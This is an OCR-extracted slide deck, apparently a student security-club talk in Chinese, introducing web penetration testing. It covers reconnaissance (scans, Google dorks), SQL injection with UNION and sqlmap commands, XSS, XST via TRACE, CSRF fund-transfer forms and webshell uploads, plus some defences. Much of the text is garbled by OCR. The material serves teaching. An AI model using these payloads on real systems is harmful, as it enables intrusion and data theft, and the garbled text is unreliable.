SERE
AR BEERD S

e, HERE



e

N

l_\_

ID : OAlienO
2 EHERE
PIREFT BIRBARE ERERE T K _FHR=

1t 2% : Bamboofox




23EAlE - Penetration Test ( PT)
Biz—: WEIER

BiE_  ERLR R

/&&= : SQL injection

1BIR Y : XSS

\B1= A : XST

\§1R7~ . CSRF

/&%t : File Upload Vulnerability

Common Vulnerabilitiesand Exposures ( CVE)
Bug Bounty £ i fE 28 3}




2335 HIE
Penetration Test ( PT )



B35 I - Penetration Test ( PT)

B BB S EFRZTREHRRNETARIE -

T IEINEETR

0| ¥ B R 4a B 2 A B MUER -
1% s E - et BRI -




dh <£

ZIN

\//

\/
]

7l

==

XS \FAIG 255 AR EBARE g
25 o 2L E R R A %%JEE’J//LEJHM&EME°

OWASP ( Open Web Application Security Project )
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OSSTMM (Open Source Security Testing Methodology Manual)

PTES ( Penetration Testing Execution Standard )
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IWEIE#H (Information Gathering)

& & H 2 RRBE R UNE o] LI B al k== Bl FERY http header Fa

¥ Response Headers

Cache-Control: no-cache

Connection: Keep-Alive

Content-Type: text/html; charset=utf-8

Date: Wed, 28 Jun 2017 ©8:43:37 GMT

Keep-Alive: timeout=5, max=10€

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Pragma: no-cache

Server: Apache/2.4.16 (FreeBSD)

Transfer-Encoding: chunked

X-Logged-In: False
X-Powered-By: PHP/5.4.45




IWE B # (Information Gathering)

Cookie WEZM O DI ZR WX 24 ( A—ELEE)

Cookie: ASP.NET_SessionlId=wédvgkmshl32hjvnlvulfifmr;

ARB1EIR?
Wappalyzer




E 155 (Information Gathering)
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ZAEE | English

Apache 2.4.16

Web Server

) ; Font Awesome | BE | Eap
j,

Font Script
; - | #E | AE
University '@ FreeBSD

Operating System

Google Analytics UA

C h rO m e }E 14: \ :;::::SFom API

Font Script

Wappalyzer =) | 5 oo

MooTools

JavaScript Framework

PHP 5.4.45

Programming Language

[E) Twitter Bootstrap

Web Framework

> jQuery 1.8.3



B - Google Hacking

TEMEH Google @ AR ZTNEE

0

Inurl:google.com
intext:"PHP Fatal error: require()" filetype:log
site:google.com

Google hacking database
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—E#% =5 oI 8E host Z{&E A uh

b ip:52.68.214.80

7l total

-

52.68.214.80

@ Geolocation

aScript , Country

ﬁE & Passive DNS replication

2017‘*1!:%)& =ik TITES ERIFFIRzRES/25-281HE

VirusTotal's passive DNS only stores address records. The following domains resolved to the given IP address.

2017-07-04 ksbrandname-fair.top-link.com.tw
2017-05-17 mombaby.top-link.com

2017 _EEfIB4010/06-09 4 bEIFREE R ERZ2IB 0K ARt . 7013

https://mombaby-fair.top-link.con
E : B 2017-03-31
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W TR - (LA A (nmap )

M

ocalieno@oalieno nmap 45.33.49.119

Starting Nmap 7.€1 ( https://nmap.org ) at 2017-06-28 21:34 CST
Nmap scan report for ack.nmap.org (45.33.49.119)

Host is up (©.13s latency).

Not shown: 993 filtered ports

PORT STATE SERVICE |
22 /tcp open ssh nmap <ur >
25/tcp open smtp =

70/tcp closed gopher thl:ﬁ' pOI’t

80/tcp open http
113/tcp closed ident
443 /tcp open https
31337 /tcp closed Elite

Nmap done: 1 IP address_(l host up) scanned in 9.06 seconds
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WEEEH - (EAH T A ( nikto )

s root@someone nikto -host http://www.nctu.edu.tw/
- Nikto v2.1.6
- Target IP: 203.66.68.46
- Target Hostname: www.nctu.edu. tw
- Target Port: 80
- Start Time: 2017-07-03 23:47:42 (GMT8)

- Server: Apache/2.4.16 (FreeBSD)

- Cookie b58621eb18509ccd3bal80bl09ec4943 created without the httponly flag

- Retrieved x-powered-by header: PHP/5.4.45

- The _anti-clickijackina X-Frame-Options header is not present.

- The X-XSS-Protection header |is not defined. This header can hint to the user agent to protect again
- Uncommon header 'x-logged-in' found, with contents: False

- The X-Content-Type-Options header is not set. This could allow the user agent to render the content
- No CGI Directories found (use '-C all' to force check all possible dirs)

- Server leaks inodes via ETags, header found with file /robots.txt, fields: O0x361 0x4cddd91893f00

- Entry '/installation/' in robots.txt returned a non-forbidden or redirect HTTP code (404)

- 1"robots.txt" contains 15 entries which should be manually viewed.

- Web Server returns a valid response with junk HTTP methods, this may cause false positives.

- DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/
- 0SVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

- /servlet/webacc?User.html=noexist: Netware web access may reveal full path of the web server. Apply
- /contents/extensions/asp/1l: The IIS system may be vulnerable to a DOS, see http://www.microsoft.con
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] Google hacking #9215 - ¥ EI AN AFRRIESR

intitle""Index of" Index of /download/

Name Last modified Size Description

a Parent Directory
(e 19-Aug-2017 07:02

site:nctu.edu.tw filetype:pdf QL 19-Aug-2017 21:27

I P 20-Aug-2017 11:49
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ix'w RZZER[RE 2" round - SQL injection



SQL injection

SIHEE A VEEE 0 e SQL syntax error
=RHH M 87% & SQL injection J&[H

Narning: You have an error 1n vour SQL syntax; check the manual that

orresponds to vour MySQL server version for the right syntax to use
1ear ‘error’ ) at line 1 1n
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SQL injection &% SQL
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SQL injection

- #EEAEA (injection)

$sql = "SELECT id FROM users WHERE uid="'Suid";";
Sresult = Sconn->query($Ssql);



N7/
=~

ma A — SQL injection

UNION SELECT #15

Ssql = "SELECT name,addr FROM users WHERE uid="'Suid";";

SELECT name,addr FROM users WHERE uid='0" UNION SELECT 1,2 -- ;
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schema
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SQL injection

table

column



mo A — SQL injection

N

id=0 UNION SELECT null,null,table_name FROM information_schema.tables
WHERE table_schema = 'news' --

id=0 UNION SELECT null,null,column_name FROM information_schema.columns
WHERE table_schema = 'news' AND table name = 'flag' --

id=0 UNION SELECT null,null,flag FROM flag



mE A — SQL injection

Blind injection : TE)2 BB log BIER - ARE LUK LS5

h’l

id=0 AND ( ...) > 49 AR I

id=0 AND ( ...) > 50 B Ih {83 binary search
I 15 IR F R =K

id=0 AND (...) > 51 < BY

. Lb fit2 51
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map —r package —dbs

O] %U/

~

map —r package —D xxx —tables
map —r package —D xxx —T yyy —columns

map —r package —D xxx =T yyy —C zzz —dump
map —r package —dump-all

map —r package —os-shell

sglmap



mio A — SQL injection

N4

g{al 2 SQLI ?
g FHE o E D £8(E (parameterized )

Sstmt = Sdbh->prepare("INSERTINTO REGISTRY (name, value) VALUES (:name, :value)");
Sstmt->bindParam(':name’', Sname);
Sstmt->bindParam(":value', Svalue);

Shame ='one';
Svalue=1;
Sstmt->execute(); X php &4l
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RE/ORVE A '<script>alert("XSS");</script>'




XSS

2 Bk —EREERE -

I_

H

%= I XSS

RFAMAINAAT 1 javascript

www.google.com.tw BIERA

XSS




Mo M A — XSS

XSS ( Cross-Site Script)

/7

el

2 injection B—7& - HTML fCAE)F A EZBEHITLE)
Javascript U

<p>ERE=</p> <p><script>alert("XSS") </script></p>
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Mo M A — XSS

/7

WEBEREEmEAE
BlUn https://xxx.com/index?qg= <script>alert(1)</script>
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Mo M A — XSS
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XSS

1 htmlentity B8R 2 8 A B9 Z30
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&Fx0003C;
4760,




R 23 49115 — XSS

XSS-game :
alert 1 to win :
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\BIR : SN2 A BTN XSS - 2838 cookie B HttpOnly 242 O_O

document.cookie

undefined




o M A — XST

XST ( Cross Site Tracing)

EEARER : %% HttpOnly
TEE HttpOnly?

=% Javascript A7z EX cookie

Set-Cookie: my cookie=123; HttpOnly



Mo A A — XST

/7

B R HT TP o —1{& A2 RIEH AV method — TRACE
R1B1T EE 45 15] BR =8 fth jh [2] 1 22

oalieno@oalieno -X TRACE --header "whatever: abc123" http://www.nctu.edu.tw/
TRACE / HTTP/1.1

Host: www.nctu.edu.tw

User-Agent: curl/7.47.0

Accept: */*

whatever: abc123



Jron M A — XST

IRIEEAE

2% request HUIS % - Z|ERZ B E)KT cookie

] TRACE method 2% request - AR=:\RZER—E—XRHNAS
%ﬂaﬂ ] javascript 2% request O] I B RIEIENAS

waam - FefIo] LB 2 COOKIE




gﬁﬁ 1§U 1_% EII\_‘J XST

var xmlhttp = new XMLHttpRequest();
var url = 'http://xxx.com/’;
xmlhttp.withCredentials = true;
xmlhttp.open('TRACE', url, false);
xmlhttp.send();
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BEEH R 2B request FEBEHE R cookie
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<img src="https://www.xxx.com/?transferFunds=5000">

] img 2&#E GET request

<iframe src="https://www.xxx.com/?transferFunds=5000">

A iframe 2tE GET request
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] javascript 2£#£E POST request R4S SR-E a5 H Y iframe #E[H

<iframe style="display:none" name="csrf-frame"></iframe>

<form method="post" action="https://xxx.com/signout" id="csrf-form" target="csrf-frame">
<input type="hidden" name="exit" value="true"></td>

</form>

<script>document.getElementByld("csrf-form").submit()</script>
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JmE A A — File Upload # PR B

PR AguL =50 PHP - 3 CE—1{E PHP 18 L& - REBEIEMFIE
HYESE - FMm el LUS 2 —1& webshell

Execute a command




2%l = — File Upload #E[R %

ZHn=E: FBRE#B File Upload %R &

1 ﬁﬂ_t@pdf * JpETE

. B—fEE A/ \TliERag 2MB

RIEMIFRLEES : if(substr( $filename , -3) == "php"){}
F£—RIZM bypass : L& webshell PHP, XSS.html
£ _RIBHEIREHE . H regex FEFiBE
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% & POC ( Proof of Concept)

—f@AaI:

1. =R 3 POC

2. ERREREEZR nmap nse 3 metasploit #UERIZNA R
3. THERE®EFE python script
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] Google Hacking Ry flgsk 2 5 EUWE %I
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B#2= : OSINT ( Open Source Intelligence )

intitle:"Struts Problem Report" intext:"development mode is enabled."
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HITCON ZeroDay
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Jmia e (BSZE#ERT]T)
1. WebGoat

2. DVWA

3. Mutillidae




BAMBOOFOX




T
i

e

Ok
=

o\
F I

-+

A IR

PRI £ MOPCON #]

ez PRI HAT] BR

UCCU (=88 ) ZfE]

P

ENNN

A






